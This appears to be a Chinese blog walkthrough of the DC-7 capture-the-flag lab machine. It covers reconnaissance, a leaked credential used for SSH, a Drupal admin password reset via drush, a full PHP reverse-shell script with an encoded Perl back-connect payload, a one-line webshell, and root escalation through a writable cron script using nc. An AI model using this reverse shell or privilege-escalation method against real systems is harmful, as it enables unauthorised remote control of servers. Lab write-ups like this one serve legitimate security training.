DC-7靶机详细渗透过程

1.靶机部署

kali安装:https://blog.csdn.net/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载: https://www.five86.com/downloads/DC-7.zip
解压后得到一个.ova的文件:
image.png
使用VMware打开该文件:
image.png
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
image.png
导入成功,打开虚拟机,到此虚拟机部署完成!
image.png
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。

2.信息收集

2.1 探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover,其他方法可详见DC-1靶机的渗透过程。

arp-scan -l

image.png
确定了DC主机的IP地址为:

192.168.11.141  00:0c:29:2b:17:54       VMware, Inc.

2.2 探测IP开放的端口

用nmap探测一下:

nmap -sV -p- 192.168.11.141

-sV  扫描目标主机端口上运行的软件信息
-p-  扫描全部端口0-65535

image.png
20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看
image.png

2.3 网站CMS

whatweb -v 192.168.11.141

image.png

2.4 敏感目录扫描

nikto -h 192.168.11.141

image.png

2.5 信息收集总结

  • IP:192.168.11.141
  • 开放端口:22 80
  • CMS:Durpal 8
  • 编程语言:PHP
  • Web服务器:Apache 2.4.25
  • 操作系统:Debian

3.渗透过程

3.1 “跳出”思维,尝试一种新的方式

通过扫描框架,敏感目录等,暂时没发现有用的信息!!!
通过页面我们发现了作者留下的话,还有左下角,好像是作者的名字。


Welcome to DC-7
DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are.  :-)
While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.
What you will have to do, is to think "outside" the box.
Way "outside" the box.  :-)

欢迎来到DC-7
DC-7引入了一些“新”概念,但我将把它们留给你自己去弄清楚。: -)
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力强制或字典攻击,您可能不会成功。
你要做的,就是“跳出”思维定势。

image.png
作者提示我们要“跳出”思维,那我们上网搜索一下**@DC7USER:**
发现网上有源码泄露!!!
image.png

3.2 代码审计

发现有源码泄露之后,废话不多说,直接看源码:
image.png
在源码中发现了一组用户名和密码:

用户名:dc7user
密 码:MdR3xOgB7#dW

3.3 ssh登录

登录网站,发现登录失败!!!
image.png
记得在我们信息收集的时候,发现该主机还开启了22端口,尝试登录一下:
成功登录!!!
image.png

3.4 寻找有用线索

在当前文件夹,发现一个mbox文件,查看其内容,发现有一个root的文件
image.png
image.png
进入文件所在文件夹,查看文件相关信息及内容:
文件权限为:

 -rwxrwxr-x
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,这里可以作为提权的一个突破口

image.png
查看文件内容:
发现了个drush命令,这个是drupal专属的一个操作系统命令。
image.png

3.5 使用drush修改密码

进入网站所在目录:
image.png
查看用户信息:

drush user-information admin
drush user-information dc7user

image.png
修改admin的密码:

drush upwd admin --password="passwd"

image.png

3.6 登录网站后台

image.png
image.png
登录成功!!!

3.7 反弹shell

大概浏览网站,最后发现了一个可以写脚本的地方:
image.png
image.png
image.png
找到了编辑文件的地方,但是没有PHP解释器,找一下有没有地方可以安装
这里有个扩展,可以添加模块,我们尝试一下可不可以安装PHP解释器。
image.png
输入PHP解释器的URL,点击安装:

https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

image.png
如果出现这种情况,下面还贴心的提供了本地安装,可以事先下载包,然后导入:
image.png
image.png
安装成功后,记得启动PHP解释器:
image.png
image.png
然后返回刚刚的编辑文件的地方,发现这时候可以写PHP文件了
image.png
创建一个PHP的反弹shell代码:
image.png
image.png

使用PHP代码反弹shell:

image.png

<?php
  function which($pr) {
  $path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
  $res = '';
  if ($cfe) {
    if(function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("\n",$res);
    } 
    elseif(function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif(function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = '';
      while(!@feof($f)) {
        $res .= @fread($f,1024);
      }
      @pclose($f);
    }
  }
  return $res;
}
function cf($fname,$text){
  if($fp=@fopen($fname,'w')) {
    @fputs($fp,@base64_decode($text));
    @fclose($fp);
  }
}
$yourip = "your IP";  #监听ip
$yourport = 'your port';   #监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

kali端开启监听:
image.png
点击保存:
image.png

反弹成功!!!
注意:一定要kali先监听,然后再保存。反弹shell不成功的原因有很多,代码不正确,端口,IP等等,不成功的可以多试试,或者在另一个地方创建试试,方法都是总结出来的,最后实在不行的话,就试试我下面说的第二种方法!
image.png

使用PHP一句话木马拿到shell:

如果,如果,如果,这种方式反弹不成功,也可以使用一句话木马:
image.png
然后使用蚁剑连接:
image.png

image.png

3.8 升级交互shell

python -c "import pty;pty.spawn('/bin/bash')"

image.png

3.9 提权

记得我们在/opt/scripts/目录下曾发现过一个root创建的定时任务脚本backups.sh,那我们可以在里面追加一具nc提权:
kali设置监听:
image.png
写入代码:
image.png
等待下次脚本执行……
image.png

3.10 夺旗

image.png

4.收获总结

4.1 信息收集部分

信息收集式渗透测试中最重要的部分,要善于发现网站的关键字,可疑部分,不明白或不知道的东西多上网查,善于使用搜索引擎,搜索关键字并寻找突破口。

4.2 Linux文件权限

了解文件权限,对于一些对我们渗透有用的文件,可以选择切换身份再查看对该文件可以操作的权限,选择性的绕过。

4.3 计划任务

计划任务可以帮助我们定时做一些事,也可留后门使用,如果发现别人的计划任务也许还可以帮助我们提权。

crontab -l    #查看定时任务

image.png

4.5 一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小秋LY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值